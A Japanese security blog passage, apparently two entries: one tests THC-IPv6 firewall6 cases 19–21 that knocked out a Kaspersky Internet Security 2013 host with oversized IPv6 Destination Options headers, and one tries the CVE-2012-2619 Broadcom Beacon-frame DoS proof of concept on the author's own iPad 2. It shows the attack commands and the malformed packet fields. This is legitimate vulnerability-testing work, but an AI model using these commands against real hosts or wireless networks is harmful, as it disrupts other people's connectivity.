        IPv6 Option (Pad1)
        IPv6 Option (Pad1)
Transmission Control Protocol, Src Port: 21019 (21019), Dst Port: 12345 (12345), Seq: 0, Len: 0

firewall6 のテスト番号 19 以外に、テスト番号 20, 21 が送信したパケットでも、Kaspersky Internet Security 2013 をインストールした OS が DoS 状態となりました。テスト番号 20, 21 が送信したパケットも確認しました。

firewall6 のテスト番号 20

下記のように firewall6 のテスト番号 20 を実行すると、テスト番号 19 と同様に FAILED という結果になりました。このとき、Kaspersky Internet Security 2013 をインストールした OS を DoS 状態にしたパケットは、この 53 パケットでした。
これらのパケットを Wireshark で開き、フラグメント化されたパケットを結合した状態で確認すると、IPv6 の拡張ヘッダ「Fragment Header」 1 つと「Destination Options Header」 32 個を確認できます。テスト番号 19 よりも「Destination Options Header」の数が大幅に増えていますが、「Fragment Header」と「Destination Options Header」 2 つの登場順序は同じです。「Destination Options Header」のサイズは、どれも 2040 バイトです。

# ./firewall6 eth0 fe80::20c:29ff:fee9:c35f 12345 20
Starting firewall6: mode TCP against fe80::20c:29ff:fee9:c35f port 12345
Run a sniffer behind the firewall to see what passes through

Test 20: 32x 2kb dst hdr		FAILED - no reply

Done.

firewall6 のテスト番号 21

下記のように firewall6 のテスト番号 21 を実行すると、テスト番号 19, 20 と同様に FAILED という結果になりました。このとき、Kaspersky Internet Security 2013 をインストールした OS を DoS 状態にしたパケットは、この 2 パケットでした。
これらのパケットを Wireshark で開き、フラグメント化されたパケットを結合した状態で確認すると、IPv6 の拡張ヘッダ「Fragment Header」 2 つと「Destination Options Header」 2 つを確認できます。テスト番号 19 の IPv6 拡張ヘッダの最後に Fragment Header を 1 つ追加した構造です。

# ./firewall6 eth0 fe80::20c:29ff:fee9:c35f 12345 21
Starting firewall6: mode TCP against fe80::20c:29ff:fee9:c35f port 12345
Run a sniffer behind the firewall to see what passes through

Test 21: 2x dst hdr + 2x frag		FAILED - no reply

Done.

firewall6 が送信したパケットを確認した結果

firewall6 のテスト番号19, 20, 21 が送信したパケットを確認したところ、下記の 2 つの特徴がありました。

1. 「Destination Options Header」のサイズが 2040 バイトである。
2. 複数の「Destination Options Header」がある。

RFC2460 では、「Destination Options Header」のサイズには上限値が言及されていません（4.2 節、4.6 節）。また RFC2460 では、Destination Options Header が 2 つ存在することを明記*3していますが、同時に拡張ヘッダ「Routing header」の前に 1 つ、IPv6 よりも上位層プロトコルヘッダの前に 1 つ登場する順序を期待しています（4.1 節）。
RFC2460 をふまえると、上記 1, 2 の取り扱いについては IPv6 実装に依存すると言えそうです。となると、Kaspersky Internet Security 2013 では、1、2 または 1 と 2 両方の取り扱いに問題があったのでしょうか。

*1:自動更新した状態の Kaspersky Internet Security 2013 に firewall6 を実行すると、この日記で書いた事象が再現しなかったことから判断しました。2013 年 3 月の Kaspersky 社による Full-Disclosure の投稿では、将来的に自動更新によって脆弱性を修正する予定となっていました。

*2:抽出したパケットを tcpreplay で送信して、同じ事象が再現することを確認しました。CloudShark にアップロードしたところ、データ表示時に "Sorry, too many sub fields to display for this protocol (2001)" というエラーが生じました。このことをふまえて、パケットキャプチャファイルを Dropbox にアップロードしました。

*3:"Each extension header should occur at most once, ..." という一文が該当します。

Broadcom製チップセットの脆弱性（CVE-2012-2619）の実証コードを試してみた

2012年10月、Core Security Technologies が Broadcom 製チップセット「BCM4325」と「BCM4329」のファームウェアにおける DoS の脆弱性（CVE-2012-2619）を公表しました。この脆弱性は、「Nexus S」や「iPhone 4」、「iPad 2」など多くのデバイスが影響を受けました。「iPad 2」に対して、この脆弱性の実証コード*1を試してみました。
なお、iOS では iOS 6.1 でこの脆弱性が修正されており、最新バージョンを使用していれば「iPhone 4」や「iPad 2」は影響を受けません。

実証環境

実証コードの実行環境は、下図の通りです。「Pocket Wifi GP02」を介して、「iPad2」がインターネットにアクセスできる状態で、BackTrack 5 上で CVE-2012-2619 の実証コードを実行しました。実証コードを実行するため、BackTrack 5 では Lorcon と PyLorcon2 をインストールしました。

この実証コードを実行すると、無線 LAN（IEEE 802.11）の電波圏内に問題のある Beacon フレームを送信します。この性質から、無線 LAN の電波圏内に僕の「iPad 2」以外に影響を受けるデバイスがあった場合、それらにも影響を与えてしまいます。そのため、実証コードを実行する場所では影響を受けそうなデバイスが他にないことをあらかじめ確認しました。

実施場所における周囲にあるデバイスの確認

まず、「airodump-ng」を 10 数分程度実行して、無線 LAN インターフェイス「wan1mon*2」が受信する無線 LAN フレームから周囲にあるデバイスの MAC アドレスを収集しました（下記 1 行目）。続いて、収集した MAC アドレスから製造メーカを示す OUI(Organizationally Unique Identifier) を取り出しました（下記 2 行目）。

# airodump-ng -w airodump-ng_result --output-format csv wlan1mon
# grep -E "^([0-9a-fA-F]{2}\:){5}[0-9a-fA-F]" airodump-ng_result-01.csv | cut -c -8 | sort | uniq > oui.csv

最後に、取り出した OUI の一覧を Wireshark の「OUI Lookup Tool」 に入力して、製造メーカを特定しました。「OUI Lookup Tool」の結果は下記となります。
OUI「1C:1D:67」、「28:6A:BA」、「A0:0B:BA」は、「Pocket Wifi GP02」、「iPad2」、「Galaxy Nexus(SC-04D)」の MAC アドレスから得られたものでした。その他の 4 つの OUI が周囲にあるデバイスから得られたものでした。これら 4 つの製造メーカと、アドバイザリの [4. VULNERABLE PACKAGES] に掲載されているデバイスを照らし合わせました。この結果、周囲に影響を受けそうなデバイスがおそらくないだろうと判断して、実証コードを実行しました。

00:1B:77 Intel Corporate
00:1D:73 Buffalo Inc.
00:24:A5 Buffalo Inc.
00:26:87 ALLIED TELESIS, K.K corega division.
1C:1D:67 Huawei Device Co., Ltd
28:6A:BA Apple, Inc.
A0:0B:BA SAMSUNG ELECTRO-MECHANICS

実証結果

実証コードを実行すると、1 秒間あたり 20 フレームの問題のある Beacon フレームが送信されました（CloudShark）。Wireshark でこの Beacon フレームを確認したところ、802.11 の Information Element「RSN Informaition」の「Auth Key Management (AKM) Suite Count」に 0xff 0xff が設定されていました。

CVE-2012-2619 の実証コードを実行したときに、「iPad 2」にて次の 3 つの事象を確認しました。これらの事象から、CVE-2012-2619 の実証コードを実行していると、影響を受けるデバイスでは無線 LAN 接続が切断され、無線 LAN を介してインターネットに接続できなくなることが分かります。

1. 「Pocket Wifi GP02」との接続が切断された。
2. 近隣の無線 LAN アクセスポイントを探索しても見つからない。
3. 無線 LAN アクセスポイントの探索が完了しない。

実証コードを実行したときの「iPad 2」の様子については、下記の動画*3をご覧ください。

所感

この脆弱性による影響は「無線 LAN を介した通信の妨害」のみ（確認した限り）のようですが、実証コードが悪用される場所によっては影響力が大きくなるように感じました。Wifi 版「iPad 2」を使っている身としては、自宅近辺でこの実証コードを実行され続けたら、「iPad 2」でのネットワーク接続ができなくなるので嫌ですね...

参考情報

• Open Security Research: Getting Started With LORCON
• Google Code Archive - Long-term storage for Google Code Project Hosting.
• AviUtlをインストールする方法 2013 Part1 - ニコニコ動画
• 【AviUtl】部分フィルタ + モザイク【拡張編集】 - Ψ(｀∀´)Ψｹｹｹ と (´･ω･`)ｼｮﾎﾞｰﾝ

*1:Core Security Technologies のアドバイザリの 8.1. PROOF OF CONCEPT に掲載されている実証コードを使用しました。

*2:Monitor モードの無線 LAN 論理インターフェイス

*3:動画では、「AviUtil」で「GP02」の SSID をモザイク処理しています。